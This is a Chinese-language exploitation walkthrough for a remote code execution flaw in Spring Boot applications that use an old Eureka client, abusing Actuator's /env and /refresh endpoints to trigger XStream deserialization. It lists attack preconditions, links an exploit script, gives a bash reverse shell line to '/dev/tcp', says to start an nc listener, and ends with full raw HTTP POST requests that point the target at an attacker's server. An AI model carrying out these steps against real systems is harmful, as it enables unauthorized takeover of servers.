1.eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址。
2.refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload。
3.目标机器相关依赖解析 payload,触发 XStream 反序列化,造成 RCE 漏洞。
1.可以 POST 请求目标网站的 /env 接口设置属性
2.可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
3.目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)
4.目标可以请求攻击者的 HTTP 服务器(请求可出外网)
1、查看目标是否使用Spring Cloud Netflix。
2、架设响应恶意 XStream payload 的网站。
提供一个依赖 Flask 并符合要求的 python 脚本示例(https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py),作用是利用目标 Linux 机器上自带的 python 来反弹shell。
使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。
<string>bash -i >& /dev/tcp/ip/port 0>& 1</string>
运行。
3、nc开启监听。
4、设置 eureka.client.serviceUrl.defaultZone 属性
spring 1.x
POST /env HTTP/1.1
Host: 192.168.3.136:9093
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://vpsip/example
POST /refresh HTTP/1.1
Host: 192.168.3.136:9093
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
https://github.com/LandGrey/SpringBootVulExploit